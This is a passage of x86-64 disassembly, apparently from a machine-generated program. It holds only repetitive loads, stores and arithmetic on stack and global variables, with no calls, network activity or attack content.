mov rax, qword [rsp + 0x7bf8]
movzx eax, word [rax]
mov word [0x14017a7f0], ax
movzx eax, byte [rsp + 0x64]
mov rcx, qword [0x14017a4f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4f], al
movzx eax, word [rsp + 0xe84]
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x7388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd7c]
add eax, ecx
mov rcx, qword [rsp + 0x7608]
mov word [rcx], ax
mov rax, qword [rsp + 0x78e8]
movzx eax, byte [rax]
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0x7a98]
mov rcx, qword [rsp + 0x7768]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7830], rax
mov rax, qword [rsp + 0x8348]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ec8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7c58]
mov dword [rcx], eax
mov eax, dword [section..data]
mov dword [rsp + 0x3ed0], eax
mov rax, qword [rsp + 0x7708]
mov rcx, qword [rsp + 0x7fa8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b10], rax
movsx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4d7], al
mov rax, qword [0x14017a6d8]
movzx eax, word [rax]
mov word [rsp + 0xee0], ax
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe04]
or eax, ecx
mov word [rsp + 0xdcc], ax
movzx eax, byte [rsp + 0x9d]
mov byte [rsp + 0x108], al
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [0x14017a55b]
xor eax, ecx
mov byte [rsp + 0x6a], al
mov rax, qword [rsp + 0x7a30]
movzx ecx, al
mov rax, qword [rsp + 0x7b38]
shl rax, cl
mov rcx, qword [rsp + 0x6f50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x83e0]
mov eax, dword [rax]
mov dword [rsp + 0x3ed4], eax
mov rax, qword [rsp + 0x7098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov rcx, qword [rsp + 0x7d98]
mov dword [rcx], eax
lea rax, [rsp + 0x7c90]
mov qword [rsp + 0x8400], rax
lea rax, [rsp + 0xcb8]
mov qword [0x14017a7f8], rax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [0x140179064]
and eax, ecx
mov rcx, qword [rsp + 0x7500]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x8408], rax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900e]
add eax, ecx
mov byte [rsp + 0x48], al
lea rax, [rsp + 0x7d58]
mov qword [rsp + 0x8410], rax
mov rax, qword [rsp + 0x6ff8]
mov rcx, qword [rsp + 0x7d00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6cd8]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cac]
mov dword [rsp + 0x3ed8], eax
movzx eax, byte [rsp + 0xdc]
movzx ecx, byte [rsp + 0x9b]
and eax, ecx
mov rcx, qword [rsp + 0x6f58]
mov byte [rcx], al
movsx eax, byte [0x140179042]
mov rcx, qword [rsp + 0x6ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179047], al
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x8418], rax
mov rax, qword [rsp + 0x7cd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
sub eax, ecx
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x75c0]
movzx eax, byte [rax]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x7748]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x74f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7b20]
mov ecx, dword [rsp + 0x3c1c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7530]
mov qword [rsp + 0x8420], rax
mov eax, dword [rsp + 0x3ce0]
mov ecx, dword [rsp + 0x3ca8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b4c], eax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0x8428], rax
mov rax, qword [rsp + 0x7a90]
movzx eax, word [rax]
mov rcx, qword [0x14017a528]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14017a5b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0xae]
movzx ecx, byte [rsp + 0x54]
xor eax, ecx
mov rcx, qword [rsp + 0x7ed0]
mov byte [rcx], al
movzx eax, word [rsp + 0xc8c]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x7818]
mov rcx, qword [rsp + 0x71e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7468], rax
lea rax, [rsp + 0x3d50]
mov qword [rsp + 0x8430], rax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x7dd8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ef0], rax
mov eax, dword [rsp + 0x3b68]
mov ecx, dword [rsp + 0x3e74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c8c], eax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0xee8], ax
lea rax, [0x14017a4ff]
mov qword [0x14017a800], rax
movzx eax, word [rsp + 0xd60]
movzx ecx, word [rsp + 0xe68]
add eax, ecx
mov rcx, qword [rsp + 0x6a38]
mov word [rcx], ax
lea rax, [rsp + 0xe18]
mov qword [rsp + 0x8438], rax
mov rax, qword [rsp + 0x8310]
movsx eax, byte [rax]
mov rcx, qword [0x14017a7d8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8028]
mov byte [rcx], al
mov rax, qword [rsp + 0x7e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ebc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7e10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3db4]
mov dword [rsp + 0x3edc], eax
mov rax, qword [rsp + 0x78b0]
mov rcx, qword [rsp + 0x73e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x6e48]
mov qword [rsp + 0x8440], rax
mov rax, qword [rsp + 0x8150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8418]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7cb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a55d], al
lea rax, [rsp + 0xe40]
mov qword [rsp + 0x8448], rax
movzx eax, word [rsp + 0xc10]
mov rcx, qword [rsp + 0x76d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe48], ax
movzx eax, byte [0x14017905b]
movzx ecx, byte [rsp + 0xba]
xor eax, ecx
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7148]
movzx eax, word [rax]
mov word [rsp + 0xeec], ax
mov eax, dword [rsp + 0x3e8c]
mov ecx, dword [rsp + 0x3c8c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d64], eax
mov rax, qword [rsp + 0x7d08]
mov qword [rsp + 0x8450], rax
mov rax, qword [rsp + 0x81f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8118]
mov qword [rsp + 0x8458], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8458]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7ce8], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x83f8]
mov qword [rsp + 0x8460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8460]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3e0c], eax
mov rax, qword [rsp + 0x7a20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [str.4B_ay], al
movzx eax, word [rsp + 0xe5c]
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0xb3], al
lea rax, [rsp + 0x4d]
mov qword [rsp + 0x8468], rax
mov rax, qword [rsp + 0x8110]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdac]
sub eax, ecx
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x8358]
mov rcx, qword [rsp + 0x7e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x7548]
mov rax, qword [rax]
mov qword [rsp + 0x8470], rax
mov rax, qword [rsp + 0x7e70]
mov rcx, qword [rsp + 0x7310]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7e70]
mov qword [rcx], rax
lea rax, [rsp + 0x3ed4]
mov qword [rsp + 0x8478], rax
mov rax, qword [rsp + 0x8228]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4fb], al
movzx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x7118]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x89], al
movzx eax, word [rsp + 0xc64]
mov word [rsp + 0xef4], ax
mov rax, qword [0x14017a5e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7c08]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x8398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7eb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x7d60]
mov rax, qword [rax]
mov qword [rsp + 0x8480], rax
mov eax, dword [rsp + 0x3cc0]
mov rcx, qword [rsp + 0x7788]
mov qword [rsp + 0x8488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8488]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3cd4], eax
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov qword [rsp + 0x8490], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bb4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cd0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
xor eax, ecx
mov byte [0x14017905f], al
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
shl eax, cl
mov word [rsp + 0xd60], ax
mov rax, qword [0x14017a680]
movzx eax, word [rax]
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd14]
add eax, ecx
mov word [rsp + 0xe78], ax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bb0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x73e8]
mov rcx, qword [rsp + 0x7f58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7410]
mov qword [rcx], rax
lea rax, [rsp + 0x3dd8]
mov qword [rsp + 0x8498], rax
mov rax, qword [rsp + 0x7620]
mov rcx, qword [rsp + 0x7e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e94], eax
mov rax, qword [rsp + 0x7850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
sub eax, ecx
mov rcx, qword [0x14017a530]
mov word [rcx], ax
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x10b], al
mov rax, qword [0x14017a760]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe74]
add eax, ecx
mov rcx, qword [rsp + 0x6b10]
mov word [rcx], ax
lea rax, [rsp + 0xa5]
mov qword [rsp + 0x84a0], rax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x7a10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x83c8]
mov qword [rcx], rax
lea rax, [rsp + 0x3dc0]
mov qword [rsp + 0x84a8], rax
mov rax, qword [rsp + 0x7ce8]
mov rcx, qword [rsp + 0x7a88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x74a0], rax
mov eax, dword [rsp + 0x3e14]
mov dword [rsp + 0x3ee0], eax
movsx eax, word [rsp + 0xc88]
movsx ecx, word [rsp + 0xce0]
and eax, ecx
mov word [0x1401790c0], ax
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
mov rcx, qword [0x14017a600]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x70c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
or eax, ecx
mov byte [rsp + 0x60], al
lea rax, [rsp + 0xdf0]
mov qword [rsp + 0x84b0], rax
mov rax, qword [rsp + 0x71d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7838]
mov byte [rcx], al
mov rax, qword [rsp + 0x6eb0]
mov eax, dword [rax]
mov dword [rsp + 0x3ee4], eax
mov rax, qword [rsp + 0x7378]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7518]
sar rax, cl
mov rcx, qword [rsp + 0x80f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d10], eax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x84b8], rax
movzx eax, word [rsp + 0xc8c]
mov word [0x14017a808], ax
mov rax, qword [rsp + 0x8310]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc2]
sub eax, ecx
mov byte [rsp + 0xcd], al
lea rax, [0x14017a4e6]
mov qword [rsp + 0x84c0], rax
movzx eax, word [rsp + 0xe54]
movzx ecx, word [rsp + 0xc4c]
and eax, ecx
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x7450]
movsx eax, word [rax]
mov rcx, qword [0x14017a710]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7770]
mov word [rcx], ax
lea rax, [rsp + 0x6e20]
mov qword [rsp + 0x84c8], rax
mov rax, qword [rsp + 0x7788]
mov rcx, qword [rsp + 0x6da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7d78]
mov dword [rcx], eax
lea rax, [rsp + 0x3ed0]
mov qword [rsp + 0x84d0], rax
mov rax, qword [rsp + 0x7560]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x83d8], rax
movsx eax, word [rsp + 0xd80]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov rcx, qword [0x14017a570]
mov word [rcx], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0xd68]
mov qword [rsp + 0x84d8], rax
movzx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0x7028]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x108], al
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0x84e0], rax
mov rax, qword [rsp + 0x7d78]
mov ecx, dword [rsp + 0x3de8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8498]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cb0]
mov dword [rsp + 0x3ee8], eax
mov rax, qword [rsp + 0x8198]
mov rcx, qword [rsp + 0x7198]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x83b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x70a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x75e0], rax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x84e8], rax
lea rax, [rsp + 0xc58]
mov qword [0x14017a810], rax
movsx eax, word [0x14017a7f0]
mov rcx, qword [rsp + 0x7940]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xdac], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0x84f0], rax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7ba0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8238]
mov byte [rcx], al
mov rax, qword [rsp + 0x7300]
mov rcx, qword [rsp + 0x75f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x77d8]
mov eax, dword [rax]
mov dword [rsp + 0x3eec], eax
mov rax, qword [rsp + 0x6c20]
mov ecx, dword [rsp + 0x3e98]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cec], eax
lea rax, [rsp + 0x8130]
mov qword [rsp + 0x84f8], rax
mov rax, qword [rsp + 0x83c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xce4]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x72e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe80]
sub eax, ecx
mov rcx, qword [0x14017a6d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6e88]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdd]
mov byte [rsp + 0x10c], al
movsx eax, word [rsp + 0xe00]
movsx ecx, word [0x14017a758]
add eax, ecx
mov word [rsp + 0xd6c], ax
lea rax, [rsp + 0x3dd8]
mov qword [rsp + 0x8500], rax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x7730]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8350], rax
lea rax, [rsp + 0x7d58]
mov qword [rsp + 0x8508], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x8358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d2c], eax
mov rax, qword [rsp + 0x74b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7d70]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
movzx ecx, byte [0x14017905b]
add eax, ecx
mov byte [0x140179062], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x8510], rax
mov rax, qword [rsp + 0x6c38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xe50], ax
movzx eax, byte [rsp + 0xd5]
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x7318]
mov rcx, qword [0x140179010]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x7d50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7188]
mov qword [rsp + 0x8518], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8518]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3d34], eax
lea rax, section..data
mov qword [rsp + 0x8520], rax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x6e48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7128], rax
lea rax, [rsp + 0xc10]
mov qword [rsp + 0x8528], rax
mov rax, qword [rsp + 0x6e50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7070]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140179034], ax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0xe14]
add eax, ecx
mov rcx, qword [rsp + 0x83c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0x8d]
add eax, ecx
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
sub eax, ecx
mov byte [rsp + 0xa0], al
lea rax, [rsp + 0x3d50]
mov qword [rsp + 0x8530], rax
mov eax, dword [rsp + 0x3e78]
mov ecx, dword [rsp + 0x3b94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3de4], eax
mov rax, qword [rsp + 0x73f8]
mov rcx, qword [rsp + 0x6cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7468], rax
mov rax, qword [rsp + 0x8118]
mov rax, qword [rax]
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x79c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e50]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a680]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x101], al
lea rax, [rsp + 0xedc]
mov qword [rsp + 0x8540], rax
mov rax, qword [rsp + 0x8010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe58]
sub eax, ecx
mov word [rsp + 0xee0], ax
lea rax, [rsp + 0xe94]
mov qword [rsp + 0x8548], rax
mov rax, qword [rsp + 0x7498]
mov ecx, dword [rsp + 0x3c28]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0x7c28]
mov rcx, qword [rsp + 0x8158]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x70d0]
mov qword [rcx], rax
lea rax, [rsp + 0x7a38]
mov qword [rsp + 0x8550], rax
mov rax, qword [rsp + 0x7200]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7ea0]
mov qword [rsp + 0x8558], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8558]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3e08], eax
lea rax, [0x140179042]
mov qword [0x14017a818], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x8560], rax
movzx eax, byte [rsp + 0x63]
movzx ecx, byte [rsp + 0xe7]
shl eax, cl
mov rcx, qword [rsp + 0x7dc8]
mov byte [rcx], al
mov rax, qword [0x14017a520]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb8]
xor eax, ecx
mov word [rsp + 0xce0], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x8568], rax
mov rax, qword [rsp + 0x8508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
lea rax, [rsp + 0x6a48]
mov qword [rsp + 0x8570], rax
mov rax, qword [rsp + 0x7e78]
imul eax, dword [rax], 0x6cfe
mov rcx, qword [rsp + 0x8048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7098]
mov ecx, dword [rsp + 0x3ea4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7070]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [0x14017a578]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0x6c48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa4], al
movzx eax, word [0x140179074]
mov word [rsp + 0xefc], ax
movzx eax, word [rsp + 0xcd0]
mov rcx, qword [rsp + 0x7a60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdf0], ax
lea rax, [rsp + 0x3e0c]
mov qword [rsp + 0x8578], rax
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x7d58]
mov rcx, qword [rsp + 0x7128]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a10]
mov qword [rcx], rax
lea rax, [rsp + 0x3d48]
mov qword [rsp + 0x8580], rax
movsx eax, byte [rsp + 0xdd]
movsx ecx, byte [rsp + 0x44]
add eax, ecx
mov byte [0x140179063], al
mov rax, qword [rsp + 0x7cf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
add eax, ecx
mov rcx, qword [rsp + 0x8468]
mov byte [rcx], al
lea rax, [rsp + 0xd6c]
mov qword [rsp + 0x8588], rax
mov rax, qword [rsp + 0x7408]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x81a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe94], ax
movzx eax, byte [rsp + 0xd0]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x7300]
mov rax, qword [rax]
mov qword [rsp + 0x8590], rax
mov eax, dword [rsp + 0x3c94]
mov rcx, qword [rsp + 0x8248]
mov qword [rsp + 0x8598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8598]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6dc0]
mov dword [rcx], eax
lea rax, [rsp + 0x3edc]
mov qword [rsp + 0x85a0], rax
mov rax, qword [rsp + 0x6cc8]
mov rcx, qword [rsp + 0x72d8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8490], rax
mov rax, qword [rsp + 0x81c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
xor eax, ecx
mov rcx, qword [0x14017a5d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeec]
and eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xdec]
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0x6fd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf7], al
lea rax, [rsp + 0xc6]
mov qword [rsp + 0x85a8], rax
mov rax, qword [rsp + 0x75b0]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e8c], eax
mov rax, qword [rsp + 0x7330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c0c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6b00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov qword [rsp + 0x85b0], rax
mov rax, qword [rsp + 0x7ff8]
mov rcx, qword [rsp + 0x6ff0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d20], rax
mov rax, qword [rsp + 0x6a78]
movzx eax, byte [rax]
mov byte [0x14017a55f], al
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x110], al
movzx eax, word [rsp + 0xc30]
movzx ecx, word [rsp + 0xe70]
sub eax, ecx
mov word [rsp + 0xce4], ax
movzx eax, word [rsp + 0xee0]
mov word [rsp + 0xf04], ax
movsx eax, word [rsp + 0xd00]
movsx ecx, word [rsp + 0xebc]
sub eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x8100]
mov ecx, dword [section..data]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3d64], eax
lea rax, [rsp + 0x3cf0]
mov qword [rsp + 0x85b8], rax
mov rax, qword [rsp + 0x71e8]
mov rcx, qword [rsp + 0x7f08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x74c0], rax
lea rax, [rsp + 0x6cc8]
mov qword [rsp + 0x85c0], rax
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfa]
xor eax, ecx
